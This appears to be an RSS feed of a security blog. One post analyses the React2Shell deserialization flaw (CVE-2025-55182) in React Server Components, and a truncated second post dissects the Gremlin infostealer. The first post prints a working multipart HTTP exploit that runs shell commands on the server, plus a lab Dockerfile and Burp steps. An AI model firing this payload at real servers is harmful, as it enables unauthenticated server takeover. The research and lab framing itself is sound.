<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/"><channel><title>0xSN1PE</title><description>Cybersecurity Blog</description><link>https://snipevx.github.io/</link><language>en</language><item><title>React2Shell - CVE-2025-55182</title><link>https://snipevx.github.io/posts/react2shell/</link><guid isPermaLink="true">https://snipevx.github.io/posts/react2shell/</guid><description>Analyzing and understanding the react2shell (CVE-2025-55182) vulnerability.</description><pubDate>Wed, 31 Dec 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;While reviewing the major vulnerability disclosures of 2025, I found myself revisiting React2Shell, a flaw that sent shockwaves through the web development community last month. It has been some time since my last deep dive into web application pentesting, so I decided to analyze this critical vulnerability in detail.&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;React2Shell is a CVSS 10.0 critical severity vulnerability affecting server-side React.js usage. It is listed under CVE number: &lt;strong&gt;CVE-2025-55182&lt;/strong&gt; for &lt;strong&gt;React.js&lt;/strong&gt; and &lt;strong&gt;CVE-2025-66487&lt;/strong&gt; for &lt;strong&gt;Next.js&lt;/strong&gt; framework. This vulnerability allows unauthenticated remote code execution through crafted HTTP request.
The react2shell vulnerability affects the React Server Components (RSC) and the frameworks that implements them such as Next.js and allows unauthenticated remote code execution. This vulnerability was reported by &lt;a href=&quot;https://github.com/lachlan2k&quot;&gt;Lachlan Davidson&lt;/a&gt; on 29th November 2025 (Pacific Time) to the Meta team (maintainers of React.js). The vulnerability was first disclosed publicly later on 3rd December (Pacific Time) along with a patch. In this blog, we will cover some basics of React.js needed to understand this vulnerability, React Server Components (RSC), Flight Protocol, Analyze the vulnerability, Analyze the POC and finally Run the exploit in our own lab environment to see how the exploit works in real scenarios.&lt;/p&gt;
&lt;h2&gt;React Basics&lt;/h2&gt;
&lt;p&gt;React.js focuses on the view layer of an application and lets developers build reusable UI components that efficiently update when data changes using a virtual DOM. React itself does not handle routing, data fetching, or server logic—it is primarily concerned with rendering UI components in the browser (and, with additional tooling, on the server).&lt;/p&gt;
&lt;p&gt;Next.js extends React by adding production-ready features such as server-side rendering (SSR), static site generation (SSG), API routes, file-based routing, and built-in performance optimizations. Next.js can run React code on the server (using Node.js) as well as in the browser, making it suitable for SEO-friendly and high-performance web applications.&lt;/p&gt;
&lt;p&gt;Here are the important components of React.js we need to know about for understanding this exploit.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Prototype Chain -&lt;/strong&gt; The prototype chain is JavaScript’s inheritance mechanism in which objects automatically delegate property lookups to their prototype, then to that prototype’s prototype, and so on until the chain ends at &lt;code&gt;null&lt;/code&gt;, allowing objects to access properties and methods they do not directly define.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Constructor -&lt;/strong&gt; A constructor is a special function used to create and initialize objects, defining their properties and behavior when a new instance is created.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Server rendering -&lt;/strong&gt; It is a technique where an application’s UI is generated on the server and sent to the client as ready-to-use content, improving initial load time, performance, and SEO while reducing the amount of work done in the browser.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Chunk Object -&lt;/strong&gt; A chunk object is a unit of data or code—often produced by a bundler or streaming protocol—that represents a portion of an application (such as a module, component, or serialized UI data) and is loaded, processed, or transmitted independently of other parts.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;React Server Components and Flight Protocol&lt;/h2&gt;
&lt;h3&gt;React Server Component (RSC)&lt;/h3&gt;
&lt;p&gt;React Server Components are a new type of component that run exclusively on the server, allowing for improved performance and user experience by reducing the amount of JavaScript sent to the client. They can fetch data and render parts of the UI before sending the final HTML to the browser, which helps in faster initial loading times and better SEO. React Server Component was first introduced in React 19.&lt;/p&gt;
&lt;h3&gt;Flight Protocol&lt;/h3&gt;
&lt;p&gt;The communication between the server and client in RSC relies on a protocol called &lt;strong&gt;React Flight&lt;/strong&gt;. The &lt;strong&gt;React Flight Protocol&lt;/strong&gt; is the internal wire protocol used by &lt;strong&gt;React Server Components&lt;/strong&gt; to stream a serialized representation of the component tree from the server to the client instead of HTML, including component structure, props, and references to client components. The client React runtime (commonly via frameworks like &lt;strong&gt;Next.js&lt;/strong&gt;) incrementally reconstructs and hydrates only interactive parts, enabling smaller JavaScript bundles, server-only logic, and faster rendering through streaming and Suspense.
Simply put, this protocol is responsible for serializing and deserializing data exchanged between the client and the server. When the client invokes a server-side function (a &lt;strong&gt;Server Action&lt;/strong&gt;), it sends a specially structured request with serialized data, which the server then deserializes and executes.&lt;/p&gt;
&lt;h2&gt;Deserialization Vulnerability&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;Unsafe deserialization&lt;/strong&gt; is a vulnerability where untrusted serialized data is deserialized without proper validation, allowing attackers to manipulate objects and potentially achieve code execution, data tampering, or denial of service.&lt;/p&gt;
&lt;p&gt;The react2shell vulnerability is basically an unsafe deserialization vulnerability in how the incoming flight protocol payloads are handled by the react server component. The vulnerability exists in the &lt;code&gt;react-server-dom-webpack&lt;/code&gt; package.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;function requireModule(metadata) {  
 var moduleExports = __webpack_require__(metadata[0]);  
 ... &amp;lt;snip&amp;gt; ...
 return moduleExports[metadata[2]];  // VULNERABILITY
}  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This issue is an &lt;strong&gt;unsafe deserialization vulnerability&lt;/strong&gt; arising from how &lt;strong&gt;React Server Components&lt;/strong&gt; interpret untrusted &lt;strong&gt;Flight protocol&lt;/strong&gt; data on the server. In the vulnerable code inside &lt;strong&gt;react-server-dom-webpack&lt;/strong&gt;, the &lt;code&gt;requireModule&lt;/code&gt; function dynamically resolves exports using user-controlled metadata.&lt;/p&gt;
&lt;p&gt;The line &lt;code&gt;moduleExports[metadata[2]]&lt;/code&gt; is dangerous because JavaScript’s bracket notation does not restrict access to explicitly exported properties — it walks the entire &lt;strong&gt;prototype chain&lt;/strong&gt;. As a result, an attacker can request properties like &lt;code&gt;constructor&lt;/code&gt; that were never intended to be exposed. Since every JavaScript function inherits a &lt;code&gt;constructor&lt;/code&gt; property pointing to the global &lt;strong&gt;JavaScript&lt;/strong&gt; &lt;code&gt;Function&lt;/code&gt; constructor, accessing &lt;code&gt;someFunction.constructor&lt;/code&gt; yields a powerful primitive capable of executing arbitrary code via &lt;code&gt;Function(&quot;code&quot;)()&lt;/code&gt;. The vulnerability becomes exploitable because the Flight protocol allows clients to specify &lt;strong&gt;colon-separated property paths&lt;/strong&gt;, enabling crafted references such as &lt;code&gt;$1:constructor:constructor&lt;/code&gt;, which resolve from a module export to its constructor and then to the global &lt;code&gt;Function&lt;/code&gt; constructor. This effectively turns deserialization of Flight payloads into a &lt;strong&gt;server-side code execution risk&lt;/strong&gt;, as untrusted client input controls object traversal and function resolution during server rendering.&lt;/p&gt;
&lt;p&gt;The &lt;code&gt;$1:constructor:constructor&lt;/code&gt; reference works by walking the object hierarchy step by step: it first resolves chunk (or module) &lt;code&gt;1&lt;/code&gt;, then accesses its &lt;code&gt;.constructor&lt;/code&gt; property, which yields the global &lt;code&gt;Function&lt;/code&gt; constructor, and finally accesses &lt;code&gt;.constructor&lt;/code&gt; once more, still resolving to the same &lt;code&gt;Function&lt;/code&gt; constructor while firmly anchoring the prototype chain path.&lt;/p&gt;
&lt;h2&gt;Deserialization to Remote Code Execution&lt;/h2&gt;
&lt;p&gt;&lt;a href=&quot;https://x.com/maple3142&quot;&gt;maple3142&lt;/a&gt; dropped a &lt;a href=&quot;https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3#file-cve-2025-55182-http&quot;&gt;POC&lt;/a&gt; for the CVE-2025-55182 that achieves Remote Code Execution. This POC chains together various JavaScript engine behaviors to transform the deserialization vulnerability into Arbitrary Code Execution. The exploit is a multipart form http request with three fields.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{  
 &quot;then&quot;: &quot;$1:__proto__:then&quot;,  
 &quot;status&quot;: &quot;resolved_model&quot;,  
 &quot;reason&quot;: -1,  
 &quot;value&quot;: &quot;{\\&quot;then\\&quot;:\\&quot;$B1337\\&quot;}&quot;,  
 &quot;_response&quot;: {  
   &quot;_prefix&quot;: &quot;process.mainModule.require(&apos;child_process&apos;).execSync(&apos;xcalc&apos;);&quot;,  
   &quot;_chunks&quot;: &quot;$Q2&quot;,  
   &quot;_formData&quot;: {  
     &quot;get&quot;: &quot;$1:constructor:constructor&quot;  
   }  
 }  
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;strong&gt;PART ONE&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;This payload exploits how React Server Components process Flight data by abusing JavaScript’s “thenable” behavior and prototype-chain property resolution. The object is crafted to look like React’s internal &lt;code&gt;Chunk&lt;/code&gt; structure, including fields such as &lt;code&gt;status&lt;/code&gt;, &lt;code&gt;value&lt;/code&gt;, &lt;code&gt;_response&lt;/code&gt;, and especially &lt;code&gt;then&lt;/code&gt;, so React treats it as a legitimate chunk. By setting &lt;code&gt;then&lt;/code&gt; to resolve via &lt;code&gt;__proto__&lt;/code&gt;, the object does not define its own &lt;code&gt;then&lt;/code&gt; method but instead inherits &lt;code&gt;Chunk.prototype.then&lt;/code&gt;. When React later &lt;code&gt;await&lt;/code&gt;s this chunk, JavaScript automatically invokes the inherited &lt;code&gt;then&lt;/code&gt; method with the attacker-controlled object as &lt;code&gt;this&lt;/code&gt;. The prototype &lt;code&gt;then&lt;/code&gt; implementation assumes it is operating on a trusted internal chunk, so it reads other properties from the object without validation. Those properties are attacker-supplied and include paths like &lt;code&gt;constructor:constructor&lt;/code&gt;, which resolve to the global &lt;code&gt;Function&lt;/code&gt; constructor through the prototype chain. React’s internal response-handling logic then combines this with attacker-controlled strings (such as &lt;code&gt;_prefix&lt;/code&gt;), resulting in the dynamic creation and execution of a function. In short, the exploit turns a passive serialized object into executable code by masquerading as a promise-like chunk, leveraging prototype traversal to reach powerful constructors, and letting JavaScript’s own &lt;code&gt;await&lt;/code&gt; semantics trigger execution.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PART TWO&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;In the second stage, the exploit pivots from promise/thenable abuse to &lt;strong&gt;Blob deserialization&lt;/strong&gt;, which is another trusted execution path in the React Flight protocol. In Flight payloads, values prefixed with &lt;code&gt;$B&lt;/code&gt; represent &lt;strong&gt;Blob references&lt;/strong&gt;, and when React encounters such a reference (for example &lt;code&gt;$B1337&lt;/code&gt;), it resolves it by calling a Blob handler that fetches the associated data using &lt;code&gt;response._formData.get(response._prefix + id)&lt;/code&gt;. Under normal conditions, &lt;code&gt;_formData.get&lt;/code&gt; is a safe accessor and &lt;code&gt;_prefix&lt;/code&gt; is a benign string used to namespace Blob identifiers. However, the attacker has already polluted the &lt;code&gt;_response&lt;/code&gt; object so that &lt;code&gt;_formData.get&lt;/code&gt; no longer points to a real getter but instead resolves through the prototype chain to &lt;code&gt;constructor:constructor&lt;/code&gt;, which is the global &lt;code&gt;Function&lt;/code&gt; constructor. At the same time, &lt;code&gt;_prefix&lt;/code&gt; is attacker-controlled and contains arbitrary JavaScript code. When the Blob handler concatenates &lt;code&gt;_prefix&lt;/code&gt; with the Blob id (&lt;code&gt;1337&lt;/code&gt;) and passes the result to &lt;code&gt;_formData.get&lt;/code&gt;, React unknowingly executes &lt;code&gt;Function(&quot;&amp;lt;attacker code&amp;gt;1337&quot;)&lt;/code&gt;. The act of constructing the function immediately evaluates the supplied string as executable JavaScript, leading to arbitrary code execution. This works because React assumes &lt;code&gt;_response&lt;/code&gt; is a trusted internal object and does not validate either the type of &lt;code&gt;_formData.get&lt;/code&gt; or the contents of &lt;code&gt;_prefix&lt;/code&gt;, allowing a normally inert deserialization step to become an execution sink once those fields are attacker-controlled.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;PART THREE&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;At this final stage, the exploit fully escapes the React runtime and achieves native server-side code execution by leveraging Node.js internals. The injected payload &lt;code&gt;process.mainModule.require(&apos;child_process&apos;).execSync(&apos;xcalc&apos;)&lt;/code&gt; runs inside the same Node.js process that is executing the React server. First, &lt;code&gt;process.mainModule&lt;/code&gt; gives access to the application’s entry module, which exposes a trusted &lt;code&gt;require&lt;/code&gt; function even if &lt;code&gt;require&lt;/code&gt; is not directly in scope. Using this &lt;code&gt;require&lt;/code&gt;, the exploit loads Node.js’s built-in &lt;code&gt;child_process&lt;/code&gt; module, which provides APIs for interacting with the operating system. Calling &lt;code&gt;execSync&lt;/code&gt; then executes an arbitrary shell command synchronously with the privileges of the server process. Launching &lt;code&gt;xcalc&lt;/code&gt; is simply a benign proof of exploitation showing that arbitrary commands can be executed, but the impact is far more severe: the same mechanism can be used to spawn reverse shells, read or modify files, exfiltrate environment variables and secrets, pivot to other internal services, or otherwise fully compromise the host. At this point, React and JavaScript abstractions no longer matter—the attacker effectively has the same capabilities as the Node.js application itself.&lt;/p&gt;
&lt;h2&gt;Taking a look at the POC&lt;/h2&gt;
&lt;p&gt;Now let us analyze the actual &lt;a href=&quot;https://gist.github.com/maple3142/48bc9393f45e068cf8c90ab865c0f5f3#file-cve-2025-55182-http&quot;&gt;POC&lt;/a&gt; by &lt;a href=&quot;https://x.com/maple3142&quot;&gt;maple3142&lt;/a&gt;.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;POST / HTTP/1.1  
Host: localhost  
Next-Action: x  
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad

------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name=&quot;0&quot;

{&quot;then&quot;:&quot;$1:__proto__:then&quot;,&quot;status&quot;:&quot;resolved_model&quot;,&quot;reason&quot;:-1,&quot;value&quot;:&quot;{\\&quot;then\\&quot;:\\&quot;$B1337\\&quot;}&quot;,&quot;_response&quot;:{&quot;_prefix&quot;:&quot;process.mainModule.require(&apos;child_process&apos;).execSync(&apos;xcalc&apos;);&quot;,&quot;_chunks&quot;:&quot;$Q2&quot;,&quot;_formData&quot;:{&quot;get&quot;:&quot;$1:constructor:constructor&quot;}}}  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name=&quot;1&quot;

&quot;$@0&quot;  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad  
Content-Disposition: form-data; name=&quot;2&quot;

[]  
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--  
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This technical analysis details a critical Remote Code Execution (RCE) vulnerability (CVE-2025-55182) affecting the React and Next.js ecosystems. The exploit leverages the way React Server Components (RSC) deserialize data through the Flight protocol.&lt;/p&gt;
&lt;h3&gt;Exploit Mechanism: The &quot;Thenable&quot; Injection&lt;/h3&gt;
&lt;p&gt;The attack is delivered via a crafted &lt;code&gt;multipart/form-data&lt;/code&gt; request targeting a Server Action endpoint. By including the &lt;code&gt;Next-Action&lt;/code&gt; header, the attacker forces the server to process the body using React’s internal serialization logic.&lt;/p&gt;
&lt;h4&gt;Payload Structure&lt;/h4&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Field 0 (The Poisoned Chunk):&lt;/strong&gt; The attacker provides an object that mimics a React &lt;code&gt;Chunk&lt;/code&gt;. It is engineered to include a &lt;code&gt;then&lt;/code&gt; property and a polluted &lt;code&gt;_response&lt;/code&gt; object, setting the stage for prototype pollution.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Field 1 (The Self-Reference):&lt;/strong&gt; Using the value &lt;code&gt;&quot;$@0&quot;&lt;/code&gt;, the attacker creates a circular reference to Field 0. When React deserializes this, it treats the object as a &quot;thenable&quot; (a promise-like object).&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Field 2 (The Validator):&lt;/strong&gt; An empty array included to satisfy the Server Action’s expected argument structure, preventing the request from being rejected prematurely.&lt;/li&gt;
&lt;/ul&gt;
&lt;h4&gt;Execution Flow&lt;/h4&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;Deserialization:&lt;/strong&gt; React reconstructs the objects from the multipart fields.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Promise Trigger:&lt;/strong&gt; Because the object is a &quot;thenable,&quot; JavaScript’s promise logic automatically invokes the &lt;code&gt;then&lt;/code&gt; method.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Blob Handling &amp;amp; Execution:&lt;/strong&gt; During resolution, React encounters a &lt;code&gt;$B1337&lt;/code&gt; Blob reference. Due to the poisoned &lt;code&gt;_response&lt;/code&gt; object, the framework&apos;s internal handler is redirected to the &lt;code&gt;Function&lt;/code&gt; constructor. This allows the attacker’s input to be executed as code on the server.&lt;/li&gt;
&lt;/ol&gt;
&lt;h3&gt;Impact and Exposure&lt;/h3&gt;
&lt;p&gt;The vulnerability is highly critical due to its reliability and the &quot;secure by default&quot; assumption it breaks.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Metric&lt;/th&gt;
&lt;th&gt;Details&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Authentication&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;None required (Unauthenticated RCE)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Success Rate&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Near 100% (Deterministic framework behavior)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cloud Exposure&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;39% of cloud environments contain vulnerable instances&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Total Reach&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~571k React servers and ~444k Next.js servers (Shodan)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;Affected Versions&lt;/h3&gt;
&lt;p&gt;The flaw resides in the React Server Components implementation across several major versions:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;React:&lt;/strong&gt; 19.0.0 through 19.2.0&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Next.js:&lt;/strong&gt; 14.3.0-canary.77+, all 15.x versions, and early 16.x versions.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Frameworks:&lt;/strong&gt; Any RSC-based system, including Waku, Redwood SDK, and React Router.&lt;/li&gt;
&lt;/ul&gt;
&lt;blockquote&gt;
&lt;p&gt;Because standard &lt;code&gt;create-next-app&lt;/code&gt; templates are vulnerable out of the box, immediate patching to the latest framework versions is highly recommended.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;h2&gt;Running the Exploit&lt;/h2&gt;
&lt;pre&gt;&lt;code&gt;POST / HTTP/1.1
Host: localhost:3000
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36 Assetnote/1.0.0
Next-Action: x
X-Nextjs-Request-Id: b5dce965
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryx8jO2oVc6SWP3Sad
X-Nextjs-Html-Request-Id: SSTMXm7OJ_g0Ncx6jpQt9
Content-Length: 740

------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=&quot;0&quot;

{
  &quot;then&quot;: &quot;$1:__proto__:then&quot;,
  &quot;status&quot;: &quot;resolved_model&quot;,
  &quot;reason&quot;: -1,
  &quot;value&quot;: &quot;{\&quot;then\&quot;:\&quot;$B1337\&quot;}&quot;,
  &quot;_response&quot;: {
    &quot;_prefix&quot;: &quot;var res=process.mainModule.require(&apos;child_process&apos;).execSync(&apos;id&apos;,{&apos;timeout&apos;:5000}).toString().trim();;throw Object.assign(new Error(&apos;NEXT_REDIRECT&apos;), {digest:`${res}`});&quot;,
    &quot;_chunks&quot;: &quot;$Q2&quot;,
    &quot;_formData&quot;: {
      &quot;get&quot;: &quot;$1:constructor:constructor&quot;
    }
  }
}
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=&quot;1&quot;

&quot;$@0&quot;
------WebKitFormBoundaryx8jO2oVc6SWP3Sad
Content-Disposition: form-data; name=&quot;2&quot;

[]
------WebKitFormBoundaryx8jO2oVc6SWP3Sad--
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;To test out the exploit, we will setup a docker container using a Dockerfile:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;FROM node:20-bookworm

WORKDIR /app

# 1. Create package.json with the necessary scripts
RUN echo &apos;{\
  &quot;name&quot;: &quot;vulnerable-nextjs&quot;,\
  &quot;version&quot;: &quot;0.1.0&quot;,\
  &quot;private&quot;: true,\
  &quot;scripts&quot;: {\
    &quot;build&quot;: &quot;next build&quot;,\
    &quot;start&quot;: &quot;next start&quot;\
  }\
}&apos; &amp;gt; package.json

# 2. Install the specific vulnerable versions (forcing bypass of peer conflicts)
RUN npm install next@15.0.0 react@19.0.0 react-dom@19.0.0 --legacy-peer-deps

# 3. Create a minimal JS-based App Router structure
RUN mkdir -p src/app
RUN echo &apos;export default function Page() { return &amp;lt;h1&amp;gt;Vulnerable Environment Running&amp;lt;/h1&amp;gt;; }&apos; &amp;gt; src/app/page.js
RUN echo &apos;export default function RootLayout({ children }) { return &amp;lt;html lang=&quot;en&quot;&amp;gt;&amp;lt;body&amp;gt;{children}&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;; }&apos; &amp;gt; src/app/layout.js

# 4. Build the application
ENV NEXT_TELEMETRY_DISABLED 1
RUN npm run build

EXPOSE 3000

CMD [&quot;npm&quot;, &quot;run&quot;, &quot;start&quot;]
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Then run the following to create and start the docker container on the port 3000.&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;docker build -t react2shell .
docker run -p 3000:3000 react2shell
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./images/react2shell/1.png&quot; alt=&quot;alt text&quot; /&gt;
&lt;img src=&quot;./images/react2shell/2.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;To run the exploit, open a new tab in burp repeater (1) and paste in the http request from above. Then goto the top right corner (2) and select Target, a dialog box will open, fill out the target-specific information (3) and make sure to disable https as our application is running on http.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/react2shell/3.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Now click on send and check the response.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/react2shell/4.png&quot; alt=&quot;alt text&quot; /&gt;&lt;/p&gt;
&lt;p&gt;The response will have a 500 Internal Server Error Code and the response body will contain the output for the id command.&lt;/p&gt;
&lt;p&gt;Check out my POC for React2Shell &lt;a href=&quot;https://github.com/snipevx/React2Shell-POC&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Final Words&lt;/h2&gt;
&lt;p&gt;This concludes my analysis of the React2Shell (CVE-2025-55182) vulnerability. We explored the React fundamentals necessary to understand the core flaw, examined React Server Components and the Flight Protocol, and analyzed how an unsafe deserialization vulnerability can be chained to achieve Remote Code Execution. Finally, we demonstrated the exploit in a controlled Docker environment. I highly recommend that all developers using React and Next.js audit their versions immediately. The next step for researchers would be to explore reverse shell persistence or alternative payloads to further understand the extent of this flaw.&lt;/p&gt;
</content:encoded></item><item><title>Dissecting the Gremlin Infostealer</title><link>https://snipevx.github.io/posts/dissecting-gremlin/</link><guid isPermaLink="true">https://snipevx.github.io/posts/dissecting-gremlin/</guid><description>Analysis of the C# based Gremlin Infostealer</description><pubDate>Tue, 28 Oct 2025 00:00:00 GMT</pubDate><content:encoded>&lt;h2&gt;Introduction&lt;/h2&gt;
&lt;p&gt;Infostealers are a type of malware designed to secretly collect sensitive data such as passwords, browser data, financial information, or crypto keys from infected devices.&lt;/p&gt;
&lt;p&gt;In modern times, infostealers pose a major threat because they enable large-scale identity theft, financial fraud, and credential leaks. For everyday users, this means stolen bank logins, compromised social media accounts, and drained crypto wallets. For corporations, it leads to massive data breaches, loss of intellectual property, ransomware attacks, and unauthorized access to internal systems making infostealers one of the most common entry point for larger cyberattacks.&lt;/p&gt;
&lt;h2&gt;Metadata&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;SHA256:&lt;/strong&gt; &lt;code&gt;d1ea7576611623c6a4ad1990ffed562e8981a3aa209717065eddc5be37a76132&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Sample Link:&lt;/strong&gt; &lt;a href=&quot;https://bazaar.abuse.ch/sample/d1ea7576611623c6a4ad1990ffed562e8981a3aa209717065eddc5be37a76132/&quot;&gt;here&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Overview&lt;/h2&gt;
&lt;p&gt;This infostealer is known as Gremlin Stealer made in C#, it first surfaced in early 2025 on telegram, which the developer was using for selling this malware. They also offered a web interface to manage the stolen data. The stealer would gather credentials from the affected computer and exfiltrate it to the remote server which can be accessed by the admin.&lt;/p&gt;
&lt;h2&gt;Analysis&lt;/h2&gt;
&lt;h3&gt;Determining the file type&lt;/h3&gt;
&lt;p&gt;Running the file command on the malware we find out that it&apos;s a .NET binary.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s1.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Analysis using PE Studio&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://www.winitor.com/download&quot;&gt;PE Studio&lt;/a&gt; is a static analysis tool for Windows executables, primarily used in malware analysis, reverse engineering, and software inspection.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Looking at the file properties of the stealer in PE studio.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s2.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;We can also see the detection score on virus total in the results.&lt;/p&gt;
&lt;p&gt;We checked the libraries this malware is importing. We see it uses generic bcrypt.dll library for cryptographic operations, user32.dll for user based operations and iphlpapi.dll for networking.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s3.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Next, looking at the strings we see indication of the capabilities of this infostealer, what type of info it steals and the remote server it exfiltrates the stolen credentials to.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s4.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;Analysis using dnSpy&lt;/h3&gt;
&lt;blockquote&gt;
&lt;p&gt;&lt;a href=&quot;https://dnspy.org/&quot;&gt;dnSpy&lt;/a&gt; is a .NET debugger and decompiler — a powerful open-source tool used to inspect, debug, and modify .NET assemblies (like .dll and .exe files built on the .NET Framework or .NET Core).&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;As we already know by running the file command, this malware is written in C# so we will be using dnSpy to analyze it further.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s5.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;Upon expanding the Sharp we find a big list of all functions within the malware. These include the functions for various types of data the malware targets and aims to steal such as location info, ftp credentials, credit card information, vpn credentials, crypto wallets, discord, steam account credentials and clipboard contents, etc.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s6.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Doing some further research we also find that the “SHARP” name is associated to another stealer which was discovered in 2024 and similar to the gremlin stealer it was being advertised and sold on telegram under the name “Sharp Project” and “Sharp Stealer”. It seems like gremlin is an improved version of the sharp stealer.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Looking through the functions we find there are several functions for the various tasks the malware performs, tasks such as encryption, decryption, data exfiltration, reading the contents of the clipboard. All these functionalities utilize libraries that we saw in the previous section. &lt;code&gt;bcrypt.dll&lt;/code&gt; for cryptographic functions, &lt;code&gt;user32.dll&lt;/code&gt; for getting clipboard data and &lt;code&gt;iphlpapi.dll&lt;/code&gt; for networking.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Iphlpapi.dll is a dynamic link library file in Windows that provides various network-related functions and services, such as managing IP addresses and performing network diagnostics.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;We find the “config” function that contains the configurations of the malware. It contains list of types of crypto currency to fetch from the target users crypto wallet, clipboard check delay time, directories to scan for data and much more. We also find the address of the web server where the stolen data is exfiltrated to&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s7.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./images/gremlin/s8.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h4&gt;Analyzing the core functions&lt;/h4&gt;
&lt;h5&gt;&lt;strong&gt;Crypto Wallets&lt;/strong&gt;&lt;/h5&gt;
&lt;p&gt;This malware has a separate functions for various cryptocurrency and crypto wallets. Here is a list of all the crypto wallets supported by this stealer.&lt;/p&gt;
